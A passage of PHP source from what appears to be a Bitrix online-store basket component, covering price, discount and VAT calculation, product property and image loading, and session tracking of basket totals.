			$basketItem['WEIGHT'] = (float)$basketItem['WEIGHT'];
			$basketItem['WEIGHT_FORMATED'] = roundEx($basketItem['WEIGHT'] / $this->weightKoef, SALE_WEIGHT_PRECISION).' '.$this->weightUnit;

			$basketItem['PRICE'] = PriceMaths::roundPrecision((float)$basketItem['PRICE']);
			$basketItem['PRICE_FORMATED'] = CCurrencyLang::CurrencyFormat($basketItem['PRICE'], $basketItem['CURRENCY'], true);

			$basketItem['FULL_PRICE'] = PriceMaths::roundPrecision((float)$basketItem['BASE_PRICE']);
			$basketItem['FULL_PRICE_FORMATED'] = CCurrencyLang::CurrencyFormat($basketItem['FULL_PRICE'], $basketItem['CURRENCY'], true);

			$basketItem['DISCOUNT_PRICE'] = PriceMaths::roundPrecision((float)$basketItem['DISCOUNT_PRICE']);
			$basketItem['DISCOUNT_PRICE_FORMATED'] = CCurrencyLang::CurrencyFormat($basketItem['DISCOUNT_PRICE'], $basketItem['CURRENCY'], true);

			$basketItem['SUM_VALUE'] = $basketItem['PRICE'] * $basketItem['QUANTITY'];
			$basketItem['SUM'] = CCurrencyLang::CurrencyFormat($basketItem['SUM_VALUE'], $basketItem['CURRENCY'], true);

			$basketItem['SUM_FULL_PRICE'] = $basketItem['FULL_PRICE'] * $basketItem['QUANTITY'];
			$basketItem['SUM_FULL_PRICE_FORMATED'] = CCurrencyLang::CurrencyFormat($basketItem['SUM_FULL_PRICE'], $basketItem['CURRENCY'], true);

			$basketItem['SUM_DISCOUNT_PRICE'] = $basketItem['DISCOUNT_PRICE'] * $basketItem['QUANTITY'];
			$basketItem['SUM_DISCOUNT_PRICE_FORMATED'] = CCurrencyLang::CurrencyFormat($basketItem['SUM_DISCOUNT_PRICE'], $basketItem['CURRENCY'], true);

			$basketItem['VAT_RATE'] = (float)$basketItem['VAT_RATE'];
			$basketItem['PRICE_VAT_VALUE'] = $basketItem['VAT_VALUE']
				= ($basketItem['PRICE'] * $basketItem['QUANTITY'] / ($basketItem['VAT_RATE'] + 1)) * $basketItem['VAT_RATE'] / $basketItem['QUANTITY'];

			$basketItem['DISCOUNT_PRICE_PERCENT'] = 0;
			if ($basketItem['CUSTOM_PRICE'] !== 'Y' && $basketItem['FULL_PRICE'] > 0 && $basketItem['DISCOUNT_PRICE'] > 0)
			{
				$basketItem['DISCOUNT_PRICE_PERCENT'] = Sale\Discount::calculateDiscountPercent(
					$basketItem['FULL_PRICE'],
					$basketItem['DISCOUNT_PRICE']
				);
				if ($basketItem['DISCOUNT_PRICE_PERCENT'] === null)
					$basketItem['DISCOUNT_PRICE_PERCENT'] = 0;
			}

			$basketItem['DISCOUNT_PRICE_PERCENT_FORMATED'] = Sale\BasketItem::formatQuantity($basketItem['DISCOUNT_PRICE_PERCENT']).'%';

			if ($basketItem['DELAY'] === 'Y')
			{
				$delayedItemsCount++;
			}

			if ($basketItem['CAN_BUY'] !== 'Y' && $basketItem['DELAY'] !== 'Y')
			{
				$basketItem['NOT_AVAILABLE'] = true;
				$notAvailableItemsCount++;
			}
			elseif ($basketItem['DELAY'] !== 'Y')
			{
				$orderableItemsCount++;
			}

			$basketItems[$basketItem['ID']] = $basketItem;
		}

		$this->storage['BASKET_ITEMS_COUNT'] = count($basketItems);
		$this->storage['ORDERABLE_BASKET_ITEMS_COUNT'] = $orderableItemsCount;
		$this->storage['NOT_AVAILABLE_BASKET_ITEMS_COUNT'] = $notAvailableItemsCount;
		$this->storage['DELAYED_BASKET_ITEMS_COUNT'] = $delayedItemsCount;

		if ($this->basketItemsMaxCountExceeded())
		{
			return array();
		}

		$propertyResult = Sale\BasketPropertiesCollection::getList(
			array(
				'filter' => array(
					'=BASKET_ID' => array_keys($basketItems),
					array('!CODE' => 'CATALOG.XML_ID'),
					array('!CODE' => 'PRODUCT.XML_ID')
				),
				'order' => array(
					'ID' => 'ASC',
					'SORT' => 'ASC'
				)
			)
		);
		while ($property = $propertyResult->fetch())
		{
			$this->makeCompatibleArray($property);
			$basketItems[$property['BASKET_ID']]['PROPS'][] = $property;
		}

		foreach ($basketItems as &$basketItem)
		{
			$basketItem['HASH'] = $this->getBasketItemHash($basketItem);
		}

		return $basketItems;
	}

	protected function getBasketItemsArray($filterItems = null)
	{
		$basketItems = array();

		$notAvailableItemsCount = 0;
		$delayedItemsCount = 0;

		$basketStorage = $this->getBasketStorage();
		$fullBasket = $basketStorage->getBasket();

		if ($this->basketItemsMaxCountExceeded())
		{
			return array();
		}

		$useFilter = is_array($filterItems);
		if ($useFilter)
		{
			$filterItems = array_fill_keys($filterItems, true);
		}

		if (!$fullBasket->isEmpty())
		{
			$orderableBasket = $basketStorage->getOrderableBasket();
			// in SOA case we already have real order
			$this->initializeBasketOrderIfNotExists($orderableBasket);

			$this->storage['ORDERABLE_BASKET_ITEMS_COUNT'] = $orderableBasket->count();

			/** @var Sale\BasketItem $item */
			foreach ($fullBasket as $item)
			{
				if ($item->isDelay())
				{
					$delayedItemsCount++;
				}

				if (!$item->canBuy() && !$item->isDelay())
				{
					$notAvailableItemsCount++;
				}

				if ($useFilter && !isset($filterItems[$item->getId()]))
				{
					continue;
				}

				// these items need to process on a basket with order for possible discounts
				if ($item->canBuy() && !$item->isDelay())
				{
					$item = $orderableBasket->getItemByBasketCode($item->getBasketCode());
				}

				$basketItems[$item->getId()] = $this->processBasketItem($item);
			}
		}

		$this->storage['BASKET_ITEMS_COUNT'] = $fullBasket->count();
		$this->storage['NOT_AVAILABLE_BASKET_ITEMS_COUNT'] = $notAvailableItemsCount;
		$this->storage['DELAYED_BASKET_ITEMS_COUNT'] = $delayedItemsCount;

		return $basketItems;
	}

	protected function processBasketItem(Sale\BasketItem $item)
	{
		$basketItem = $item->getFieldValues();

		if ($this->isCompatibleMode())
		{
			$this->makeCompatibleArray($basketItem);
		}

		$basketItem['PROPS'] = $this->getBasketItemProperties($item);
		$basketItem['PROPS_ALL'] = $item->getPropertyCollection()->getPropertyValues();
		$basketItem['QUANTITY'] = $item->getQuantity();

		$basketItem['WEIGHT'] = (float)$basketItem['WEIGHT'];
		$basketItem['WEIGHT_FORMATED'] = roundEx($basketItem['WEIGHT'] / $this->weightKoef, SALE_WEIGHT_PRECISION).' '.$this->weightUnit;

		$basketItem['PRICE'] = PriceMaths::roundPrecision($basketItem['PRICE']);
		$basketItem['PRICE_FORMATED'] = CCurrencyLang::CurrencyFormat($basketItem['PRICE'], $basketItem['CURRENCY'], true);

		$basketItem['FULL_PRICE'] = PriceMaths::roundPrecision($basketItem['BASE_PRICE']);
		$basketItem['FULL_PRICE_FORMATED'] = CCurrencyLang::CurrencyFormat($basketItem['FULL_PRICE'], $basketItem['CURRENCY'], true);

		$basketItem['DISCOUNT_PRICE'] = PriceMaths::roundPrecision($basketItem['DISCOUNT_PRICE']);
		$basketItem['DISCOUNT_PRICE_FORMATED'] = CCurrencyLang::CurrencyFormat($basketItem['DISCOUNT_PRICE'], $basketItem['CURRENCY'], true);

		$basketItem['SUM_VALUE'] = $basketItem['PRICE'] * $basketItem['QUANTITY'];
		$basketItem['SUM'] = CCurrencyLang::CurrencyFormat($basketItem['SUM_VALUE'], $basketItem['CURRENCY'], true);

		$basketItem['SUM_FULL_PRICE'] = $basketItem['FULL_PRICE'] * $basketItem['QUANTITY'];
		$basketItem['SUM_FULL_PRICE_FORMATED'] = CCurrencyLang::CurrencyFormat($basketItem['SUM_FULL_PRICE'], $basketItem['CURRENCY'], true);

		$basketItem['SUM_DISCOUNT_PRICE'] = $basketItem['DISCOUNT_PRICE'] * $basketItem['QUANTITY'];
		$basketItem['SUM_DISCOUNT_PRICE_FORMATED'] = CCurrencyLang::CurrencyFormat($basketItem['SUM_DISCOUNT_PRICE'], $basketItem['CURRENCY'], true);

		$basketItem['PRICE_VAT_VALUE'] = $basketItem['VAT_VALUE']
			= ($basketItem['PRICE'] * $basketItem['QUANTITY'] / ($basketItem['VAT_RATE'] + 1)) * $basketItem['VAT_RATE'] / $basketItem['QUANTITY'];

		$basketItem['DISCOUNT_PRICE_PERCENT'] = 0;
		if ($basketItem['CUSTOM_PRICE'] !== 'Y')
		{
			$basketItem['DISCOUNT_PRICE_PERCENT'] = Sale\Discount::calculateDiscountPercent(
				$basketItem['FULL_PRICE'],
				$basketItem['DISCOUNT_PRICE']
			);
			if ($basketItem['DISCOUNT_PRICE_PERCENT'] === null)
				$basketItem['DISCOUNT_PRICE_PERCENT'] = 0;
		}
		$basketItem['DISCOUNT_PRICE_PERCENT_FORMATED'] = $basketItem['DISCOUNT_PRICE_PERCENT'].'%';

		if ($basketItem['CAN_BUY'] !== 'Y' && $basketItem['DELAY'] !== 'Y')
		{
			$basketItem['NOT_AVAILABLE'] = true;
		}

		$basketItem['HASH'] = $this->getBasketItemHash($basketItem);

		return $basketItem;
	}

	protected function getBasketItemHash($basketItem)
	{
		$basketItemProps = array();

		foreach ($basketItem['PROPS'] as $property)
		{
			$basketItemProps[] = array($property['CODE'], $property['VALUE']);
		}

		return md5($basketItem['PRODUCT_ID'].serialize($basketItemProps));
	}

	protected function getBasketItemProperties(Sale\BasketItem $basketItem)
	{
		$properties = array();
		/** @var Sale\BasketPropertiesCollection $propertyCollection */
		$propertyCollection = $basketItem->getPropertyCollection();
		$basketId = $basketItem->getBasketCode();

		foreach ($propertyCollection->getPropertyValues() as $property)
		{
			if ($property['CODE'] == 'CATALOG.XML_ID' || $property['CODE'] == 'PRODUCT.XML_ID' || $property['CODE'] == 'SUM_OF_CHARGE')
				continue;

			$property = array_filter($property, array('CSaleBasketHelper', 'filterFields'));
			$property['BASKET_ID'] = $basketId;
			$this->makeCompatibleArray($property);

			$properties[] = $property;
		}

		return $properties;
	}

	protected function loadCatalogInfo()
	{
		$this->basketItems = getMeasures($this->basketItems);
		$this->basketItems = getRatio($this->basketItems);
		$this->basketItems = $this->getAvailableQuantity($this->basketItems);
	}

	protected function loadOfferToProductRelations()
	{
		$this->storage['ELEMENT_IDS'] = $this->getBasketProductIds();

		if (!empty($this->storage['ELEMENT_IDS']) && self::includeCatalog())
		{
			$this->storage['SKU_TO_PARENT'] = array();
			$this->storage['PARENTS'] = array();

			$productList = CCatalogSku::getProductList($this->storage['ELEMENT_IDS']);
			if (!empty($productList))
			{
				foreach ($productList as $offerId => $offerInfo)
				{
					$offerInfo['PRODUCT_ID'] = $offerInfo['ID'];
					$this->storage['ELEMENT_IDS'][] = $offerInfo['ID'];
					$this->storage['SKU_TO_PARENT'][$offerId] = $offerInfo['ID'];
					$this->storage['PARENTS'][$offerId] = $offerInfo;
				}

				unset($offerInfo, $offerId);
			}

			unset($productList);
			$this->storage['ELEMENT_IDS'] = array_values(array_unique($this->storage['ELEMENT_IDS']));
		}
	}

	protected function getBasketProductIds()
	{
		$ids = array();

		foreach ($this->basketItems as $basketItem)
		{
			$ids[] = $basketItem['PRODUCT_ID'];
		}

		return $ids;
	}

	protected function loadIblockProperties()
	{
		$this->initializeIblockProperties();
		$this->loadOfferToProductRelations();
		$this->fillItemsWithProperties();
	}

	protected function modifyLabels(&$product, $productProperties)
	{
		$product['PROPERTIES'] = $productProperties;

		\CIBlockPriceTools::getLabel($product, $this->arParams['LABEL_PROP']);
		$item['LABEL_PROP_MOBILE'] = $this->arParams['LABEL_PROP_MOBILE'];

		unset($product['PROPERTIES']);
	}

	protected function fillItemsWithProperties()
	{
		$productIndexMap = array();
		$iblockToProductMap = array();
		$productsData = array();

		$res = CIBlockElement::GetList(
			array(),
			array('=ID' => $this->storage['ELEMENT_IDS']),
			false,
			false,
			array('ID', 'IBLOCK_ID', 'PREVIEW_PICTURE', 'DETAIL_PICTURE', 'PREVIEW_TEXT')
		);
		while ($product = $res->Fetch())
		{
			$productIndexMap[$product['ID']] = array();
			$iblockToProductMap[$product['IBLOCK_ID']][] = $product['ID'];
			$productsData[$product['ID']] = $product;
		}

		foreach ($iblockToProductMap as $iblockId => $productIds)
		{
			$codes = array();

			if (!empty($this->arIblockProps[$iblockId]))
			{
				$codes = array_keys($this->arIblockProps[$iblockId]);
			}

			$imageCode = $this->arParams['ADDITIONAL_PICT_PROP'][$iblockId];
			if (!empty($imageCode) && !in_array($imageCode, $codes))
			{
				$codes[] = $imageCode;
			}

			if (!empty($this->arParams['LABEL_PROP']))
			{
				$codes = array_merge($codes, $this->arParams['LABEL_PROP']);
			}

			if (!empty($codes))
			{
				CIBlockElement::GetPropertyValuesArray(
					$productIndexMap, $iblockId,
					array('ID' => $productIds),
					array('CODE' => $codes)
				);
			}
		}

		unset($iblockToProductMap);

		// getting compatible iblock properties and additional images arrays
		$additionalImages = array();
		foreach ($productIndexMap as $productId => $productProperties)
		{
			if (!empty($productProperties) && is_array($productProperties))
			{
				$productIblockId = $productsData[$productId]['IBLOCK_ID'];
				$additionalImage = $this->getAdditionalImageForProduct($productIblockId, $productProperties);
				if ((int)$additionalImage > 0)
				{
					$additionalImages[$productId] = $additionalImage;
				}

				foreach ($productProperties as $code => $property)
				{
					if (!empty($this->arIblockProps[$productIblockId]) && array_key_exists($code, $this->arIblockProps[$productIblockId]))
					{
						$temporary = array();

						if (!empty($property['~VALUE']) && is_array($property['~VALUE']))
						{
							$temporary['PROPERTY_'.$code.'_VALUE'] = implode(', ', $property['~VALUE']);
						}
						else
						{
							$temporary['PROPERTY_'.$code.'_VALUE'] = $property['~VALUE'];
						}

						if (!empty($property['PROPERTY_VALUE_ID']) && is_array($property['PROPERTY_VALUE_ID']))
						{
							$temporary['PROPERTY_'.$code.'_VALUE_ID'] = implode(', ', $property['PROPERTY_VALUE_ID']);
						}
						else
						{
							$temporary['PROPERTY_'.$code.'_VALUE_ID'] = $property['PROPERTY_VALUE_ID'];
						}

						if ($property['PROPERTY_TYPE'] === 'L')
						{
							$temporary['PROPERTY_'.$code.'_ENUM_ID'] = $property['VALUE_ENUM_ID'];
						}

						if ($this->isCompatibleMode())
						{
							$this->makeCompatibleArray($temporary);
						}

						$productsData[$productId] += $temporary;
					}
				}

				if (!empty($this->arParams['LABEL_PROP']))
				{
					$this->modifyLabels($productsData[$productId], $productProperties);
				}
			}
		}

		unset($productIndexMap);

		foreach ($this->basketItems as &$item)
		{
			$productId = $item['PRODUCT_ID'];

			if (!empty($productsData[$productId]) && is_array($productsData[$productId]))
			{
				foreach ($productsData[$productId] as $code => $value)
				{
					if ($value === null)
						continue;

					if (strpos($code, 'PROPERTY_') !== false || $code === 'PREVIEW_PICTURE' || $code === 'DETAIL_PICTURE')
					{
						$item[$code] = $value;
					}
				}
			}

			// if sku element doesn't have value of some property - we'll show parent element value instead
			$parentId = isset($this->storage['SKU_TO_PARENT'][$productId]) ? $this->storage['SKU_TO_PARENT'][$productId] : 0;
			if ((int)$parentId > 0)
			{
				foreach ($this->arCustomSelectFields as $field)
				{
					$fieldVal = (substr($field, -6) === '_VALUE' ? $field : $field.'_VALUE');

					// can be array or string
					if (
						(!isset($item[$fieldVal]) || empty($item[$fieldVal]))
						&& (isset($productsData[$parentId][$fieldVal]) && !empty($productsData[$parentId][$fieldVal]))
					)
					{
						$item[$fieldVal] = $productsData[$parentId][$fieldVal];
					}
				}
			}

			if (!empty($productsData[$productId]['PREVIEW_TEXT']))
			{
				$item['PREVIEW_TEXT'] = $productsData[$productId]['PREVIEW_TEXT'];
				$item['PREVIEW_TEXT_TYPE'] = $productsData[$productId]['PREVIEW_TEXT_TYPE'];
			}
			elseif (!empty($productsData[$parentId]['PREVIEW_TEXT']))
			{
				$item['PREVIEW_TEXT'] = $productsData[$parentId]['PREVIEW_TEXT'];
				$item['PREVIEW_TEXT_TYPE'] = $productsData[$parentId]['PREVIEW_TEXT_TYPE'];
			}

			if (!empty($productsData[$productId]['PREVIEW_PICTURE']))
			{
				$item['PREVIEW_PICTURE'] = $productsData[$productId]['PREVIEW_PICTURE'];
			}
			elseif (!empty($productsData[$parentId]['PREVIEW_PICTURE']))
			{
				$item['PREVIEW_PICTURE'] = $productsData[$parentId]['PREVIEW_PICTURE'];
			}

			if (!empty($productsData[$productId]['DETAIL_PICTURE']))
			{
				$item['DETAIL_PICTURE'] = $productsData[$productId]['DETAIL_PICTURE'];
			}
			elseif (!empty($productsData[$parentId]['DETAIL_PICTURE']))
			{
				$item['DETAIL_PICTURE'] = $productsData[$parentId]['DETAIL_PICTURE'];
			}

			if (!empty($productsData[$productId]['LABEL_ARRAY_VALUE']))
			{
				$item['LABEL_ARRAY_VALUE'] = $productsData[$productId]['LABEL_ARRAY_VALUE'];
			}
			elseif (!empty($productsData[$parentId]['LABEL_ARRAY_VALUE']))
			{
				$item['LABEL_ARRAY_VALUE'] = $productsData[$parentId]['LABEL_ARRAY_VALUE'];
			}

			// format property values
			foreach ($item as $key => $value)
			{
				if ((strpos($key, 'PROPERTY_', 0) === 0) && (strrpos($key, '_VALUE') == strlen($key) - 6))
				{
					$iblockId = $productsData[$productId]['IBLOCK_ID'];
					$code = ToUpper(str_replace(array('PROPERTY_', '_VALUE'), '', $key));

					$propData = isset($this->arIblockProps[$iblockId][$code])
						? $this->arIblockProps[$iblockId][$code]
						: $this->arIblockProps[$this->storage['PARENTS'][$productId]['IBLOCK_ID']][$code];

					if ($propData['PROPERTY_TYPE'] === 'F')
					{
						$this->makeFileSources($item, $propData);
					}

					// display linked property type
					if ($propData['PROPERTY_TYPE'] === 'E')
					{
						$this->makeLinkedProperty($item, $propData);
					}

					if ($propData['PROPERTY_TYPE'] === 'S' && $propData['USER_TYPE'] === 'directory')
					{
						$this->makeDirectoryProperty($item, $propData);
					}

					$item[$key] = CSaleHelper::getIblockPropInfo(
						$value,
						$propData,
						array('width' => self::IMAGE_SIZE_STANDARD, 'height' => self::IMAGE_SIZE_STANDARD)
					);
				}
			}

			// image replace priority (if has SKU):
			// 1. offer 'PREVIEW_PICTURE' or 'DETAIL_PICTURE'
			// 2. offer additional picture from parameters
			// 3. parent product 'PREVIEW_PICTURE' or 'DETAIL_PICTURE'
			// 4. parent product additional picture from parameters
			if (
				empty($productsData[$productId]['PREVIEW_PICTURE'])
				&& empty($productsData[$productId]['DETAIL_PICTURE'])
				&& isset($additionalImages[$productId])
			)
			{
				$item['PREVIEW_PICTURE'] = $additionalImages[$productId];
			}
			elseif (
				empty($item['PREVIEW_PICTURE'])
				&& empty($item['DETAIL_PICTURE'])
				&& $additionalImages[$parentId]
			)
			{
				$item['PREVIEW_PICTURE'] = $additionalImages[$parentId];
			}

			$item['PREVIEW_PICTURE_SRC'] = '';
			if (!empty($item['PREVIEW_PICTURE']))
			{
				$image = CFile::GetFileArray($item['PREVIEW_PICTURE']);
				if ($image)
				{
					self::resizeImage($item, 'PREVIEW_PICTURE', $image,
						array('width' => self::IMAGE_SIZE_ADAPTIVE, 'height' => self::IMAGE_SIZE_ADAPTIVE),
						array('width' => self::IMAGE_SIZE_STANDARD, 'height' => self::IMAGE_SIZE_STANDARD),
						$this->arParams['BASKET_IMAGES_SCALING']
					);
				}
			}

			$item['DETAIL_PICTURE_SRC'] = '';
			if (!empty($item['DETAIL_PICTURE']))
			{
				$image = CFile::GetFileArray($item['DETAIL_PICTURE']);
				if ($image)
				{
					self::resizeImage($item, 'DETAIL_PICTURE', $image,
						array('width' => self::IMAGE_SIZE_ADAPTIVE, 'height' => self::IMAGE_SIZE_ADAPTIVE),
						array('width' => self::IMAGE_SIZE_STANDARD, 'height' => self::IMAGE_SIZE_STANDARD),
						$this->arParams['BASKET_IMAGES_SCALING']
					);
				}
			}
		}

		unset($item);
	}

	protected function getAdditionalImageForProduct($iblockId, $properties)
	{
		$imageId = 0;

		if (!empty($iblockId) && !empty($properties) && !empty($this->arParams['ADDITIONAL_PICT_PROP']))
		{
			if (isset($this->arParams['ADDITIONAL_PICT_PROP'][$iblockId]) && isset($properties[$this->arParams['ADDITIONAL_PICT_PROP'][$iblockId]]))
			{
				$property = $properties[$this->arParams['ADDITIONAL_PICT_PROP'][$iblockId]];
				$imageId = is_array($property['VALUE']) ? reset($property['VALUE']) : $property['VALUE'];
			}
		}

		return $imageId;
	}

	protected function makeFileSources(&$item, $property)
	{
		$propertySources = array();

		if (!empty($item['PROPERTY_'.$property['CODE'].'_VALUE']))
		{
			$value = explode(',', $item['PROPERTY_'.$property['CODE'].'_VALUE']);

			foreach ($value as $fileId)
			{
				$fileId = (int)trim((string)$fileId);
				if ($fileId > 0)
				{
					$fileSources = array();

					$image = CFile::GetFileArray($fileId);
					if ($image)
					{
						self::resizeImage($fileSources, 'IMAGE', $image,
							array('width' => self::IMAGE_SIZE_ADAPTIVE, 'height' => self::IMAGE_SIZE_ADAPTIVE),
							array('width' => self::IMAGE_SIZE_STANDARD, 'height' => self::IMAGE_SIZE_STANDARD),
							$this->arParams['BASKET_IMAGES_SCALING']
						);
					}

					$propertySources[] = $fileSources;
				}
			}
		}

		$item['PROPERTY_'.$property['CODE'].'_VALUE_SRC'] = $propertySources;
	}

	protected function makeLinkedProperty(&$item, $property)
	{
		$propertySources = array();

		if (!empty($item['PROPERTY_'.$property['CODE'].'_VALUE']))
		{
			if ($property['MULTIPLE'] === 'Y')
			{
				$property['VALUE'] = explode(',', $item['PROPERTY_'.$property['CODE'].'_VALUE']);
			}

			$formattedProperty = CIBlockFormatProperties::GetDisplayValue($item, $property, 'sale_out');
			if (!empty($formattedProperty['DISPLAY_VALUE']))
			{
				if (is_array($formattedProperty['DISPLAY_VALUE']))
				{
					foreach ($formattedProperty['DISPLAY_VALUE'] as $key => $formatValue)
					{
						$propertySources[] = $formatValue;
					}
				}
				else
				{
					$propertySources[] = $formattedProperty['DISPLAY_VALUE'];
				}
			}
		}

		$item['PROPERTY_'.$property['CODE'].'_VALUE_LINK'] = $propertySources;
	}

	protected function makeDirectoryProperty(&$item, $property)
	{
		$propertySources = array();

		if (!empty($item['PROPERTY_'.$property['CODE'].'_VALUE']))
		{
			if ($property['MULTIPLE'] === 'Y')
			{
				$property['VALUE'] = explode(', ', $item['PROPERTY_'.$property['CODE'].'_VALUE']);
			}

			$property['~VALUE'] = $property['VALUE'];

			if (CheckSerializedData($property['USER_TYPE_SETTINGS']))
			{
				$property['USER_TYPE_SETTINGS'] = unserialize($property['USER_TYPE_SETTINGS']);
			}

			$formattedProperty = CIBlockFormatProperties::GetDisplayValue($item, $property, 'sale_out');
			if (!empty($formattedProperty['DISPLAY_VALUE']))
			{
				if (is_array($formattedProperty['DISPLAY_VALUE']))
				{
					foreach ($formattedProperty['DISPLAY_VALUE'] as $key => $formatValue)
					{
						$propertySources[] = $formatValue;
					}
				}
				else
				{
					$propertySources[] = $formattedProperty['DISPLAY_VALUE'];
				}
			}
		}

		$item['PROPERTY_'.$property['CODE'].'_VALUE_DISPLAY'] = implode(', ', $propertySources);
	}

	/**
	 * Resize image depending on scale type
	 *
	 * @param array  $item
	 * @param        $imageKey
	 * @param array  $arImage
	 * @param array  $sizeAdaptive
	 * @param array  $sizeStandard
	 * @param string $scale
	 */
	public static function resizeImage(array &$item, $imageKey, array $arImage, array $sizeAdaptive, array $sizeStandard, $scale = '')
	{
		if ($scale == '')
		{
			$scale = 'adaptive';
		}

		if ($scale === 'no_scale')
		{
			$item[$imageKey.'_SRC'] = $arImage['SRC'];
			$item[$imageKey.'_SRC_ORIGINAL'] = $arImage['SRC'];
		}
		elseif ($scale === 'adaptive')
		{
			$arFileTmp = CFile::ResizeImageGet(
				$arImage,
				array('width' => $sizeAdaptive['width'] / 2 , 'height' => $sizeAdaptive['height'] / 2),
				BX_RESIZE_IMAGE_PROPORTIONAL,
				true
			);
			$item[$imageKey.'_SRC'] = $arFileTmp['src'];

			$arFileTmp = CFile::ResizeImageGet(
				$arImage,
				$sizeAdaptive,
				BX_RESIZE_IMAGE_PROPORTIONAL,
				true
			);
			$item[$imageKey.'_SRC_2X'] = $arFileTmp['src'];

			$item[$imageKey.'_SRC_ORIGINAL'] = $arImage['SRC'];
		}
		else
		{
			$arFileTmp = CFile::ResizeImageGet($arImage, $sizeStandard, BX_RESIZE_IMAGE_PROPORTIONAL, true);
			$item[$imageKey.'_SRC'] = $arFileTmp['src'];

			$item[$imageKey.'_SRC_ORIGINAL'] = $arImage['SRC'];
		}
	}

	protected function getErrors()
	{
		$result = array(
			'WARNING_MESSAGE' => array(),
			'WARNING_MESSAGE_WITH_CODE' => array(),
			'ERROR_MESSAGE' => ''
		);

		if (!$this->errorCollection->isEmpty())
		{
			/** @var Error $error */
			foreach ($this->errorCollection as $error)
			{
				$message = $error->getMessage();
				$code = $error->getCode();

				$result['WARNING_MESSAGE'][] = $message;

				if (empty($code))
				{
					$code = 'common';
				}

				if (!isset($result['WARNING_MESSAGE_WITH_CODE'][$code]))
				{
					$result['WARNING_MESSAGE_WITH_CODE'][$code] = array();
				}

				$result['WARNING_MESSAGE_WITH_CODE'][$code][] = $message;
			}
		}

		if (empty($this->basketItems) && !$this->isBasketIntegrated())
		{
			$result['ERROR_MESSAGE'] .= Loc::getMessage('SALE_EMPTY_BASKET');

			if (!empty($result['WARNING_MESSAGE']))
			{
				$result['ERROR_MESSAGE'] .= (trim((string)$result['ERROR_MESSAGE']) != '' ? '\n' : '').implode('\n', $result['WARNING_MESSAGE']);
			}
		}

		return $result;
	}

	// fill item arrays for old templates
	protected function sortItemsByTabs(&$result)
	{
		$result['ITEMS'] = array(
			'AnDelCanBuy' => array(),
			'DelDelCanBuy' => array(),
			'nAnCanBuy' => array(),
			'ProdSubscribe' => array()
		);

		if (!empty($this->basketItems))
		{
			foreach ($this->basketItems as $item)
			{
				if ($item['CAN_BUY'] === 'Y' && $item['DELAY'] !== 'Y')
				{
					$result['ITEMS']['AnDelCanBuy'][] = $item;
				}
				elseif ($item['CAN_BUY'] === 'Y' && $item['DELAY'] === 'Y')
				{
					$result['ITEMS']['DelDelCanBuy'][] = $item;
				}
				elseif ($item['CAN_BUY'] !== 'Y' && $item['SUBSCRIBE'] === 'Y')
				{
					$result['ITEMS']['ProdSubscribe'][] = $item;
				}
				else
				{
					$result['ITEMS']['nAnCanBuy'][] = $item;
				}
			}
		}

		$result['ShowReady'] = !empty($result['ITEMS']['AnDelCanBuy']) ? 'Y' : 'N';
		$result['ShowDelay'] = !empty($result['ITEMS']['DelDelCanBuy']) ? 'Y' : 'N';
		$result['ShowSubscribe'] = !empty($result['ITEMS']['ProdSubscribe']) ? 'Y' : 'N';
		$result['ShowNotAvail'] = !empty($result['ITEMS']['nAnCanBuy']) ? 'Y' : 'N';
	}

	protected function getGridColumns()
	{
		$headers = array();

		// making grid headers array
		if (!empty($this->columns) && is_array($this->columns))
		{
			foreach ($this->columns as $value)
			{
				$name = '';

				if (strncmp($value, 'PROPERTY_', 9) === 0)
				{
					$propCode = substr($value, 9);

					if ($propCode == '')
						continue;

					$id = $value.'_VALUE';
					$name = $value;

					if (isset($this->storage['PROPERTY_CODES'][$propCode]))
					{
						$name = $this->storage['PROPERTY_CODES'][$propCode]['NAME'];
					}
				}
				else
				{
					$id = $value;
				}

				$headers[] = array(
					'id' => $id,
					'name' => $name
				);
			}
		}

		return $headers;
	}

	// fill grid data (for new templates with custom columns)
	protected function getGridRows()
	{
		$rows = array();

		if (!empty($this->basketItems))
		{
			foreach ($this->basketItems as $item)
			{
				$rows[$item['ID']] = $item;
			}
		}

		return $rows;
	}

	protected function isNeedBasketUpdateEvent()
	{
		$state = 'N';

		if ($this->isFastLoadRequest())
		{
			return $state;
		}

		$basket = $this->getBasketStorage()->getOrderableBasket();
		$fUserId = $this->getFuserId();

		$sessionBasketPrice = $this->getSessionFUserBasketPrice($fUserId);

		$basketPrice = 0;
		/** @var Sale\BasketItemBase $basketItem */
		foreach ($basket as $basketItem)
		{
			if ($basketItem->canBuy())
			{
				$basketPrice += $basketItem->getFinalPrice();
			}
		}


		if ($sessionBasketPrice != $basketPrice)
		{
			$state = 'Y';
			$this->setSessionFUserBasketPrice($basketPrice, $fUserId);
		}

		$sessionBasketQuantity = $this->getSessionFUserBasketQuantity($fUserId);

		$basketItemQuantity = 0;
		/** @var Sale\BasketItemBase $basketItem */
		foreach ($basket as $basketItem)
		{
			if ($basketItem->canBuy())
			{
				$basketItemQuantity++;
			}
		}

		if ($sessionBasketQuantity != $basketItemQuantity)
		{
			$state = 'Y';
			$this->setSessionFUserBasketQuantity($basketItemQuantity, $fUserId);
		}

		unset($basket);

		return $state;
	}

	protected function getSessionFUserBasketPrice($fUserId)
	{
		$price = null;
		$siteId = $this->getSiteId();

		if (isset($_SESSION['SALE_USER_BASKET_PRICE'][$siteId][$fUserId]))
		{
			$price = $_SESSION['SALE_USER_BASKET_PRICE'][$siteId][$fUserId];
		}

		return $price;
	}

	protected function setSessionFUserBasketPrice($price, $fUserId)
	{
		$_SESSION['SALE_USER_BASKET_PRICE'][$this->getSiteId()][$fUserId] = $price;
	}

	protected function getSessionFUserBasketQuantity($fUserId)
	{
		$quantity = null;
		$siteId = $this->getSiteId();

		if (isset($_SESSION['SALE_USER_BASKET_QUANTITY'][$siteId][$fUserId]))
		{
			$quantity = $_SESSION['SALE_USER_BASKET_QUANTITY'][$siteId][$fUserId];
		}

		return $quantity;
	}

	protected function setSessionFUserBasketQuantity($quantity, $fUserId)
	{
		$_SESSION['SALE_USER_BASKET_QUANTITY'][$this->getSiteId()][$fUserId] = $quantity;
	}

	protected function getAffectedReformattedBasketItemsInDiscount(Sale\BasketBase $basket, array $discountData, array $calcResults)
	{
		$items = array();

		foreach($calcResults['PRICES']['BASKET'] as $basketCode => $priceData)
		{
			if (empty($priceData['DISCOUNT']) || !empty($priceData['PRICE']) || empty($calcResults['RESULT']['BASKET'][$basketCode]))
			{
				continue;
			}

			//we have gift and PRICE equals 0.
			$found = false;

			foreach ($calcResults['RESULT']['BASKET'][$basketCode] as $data)
			{
				if ($data['DISCOUNT_ID'] == $discountData['ID'])
				{
					$found = true;
				}
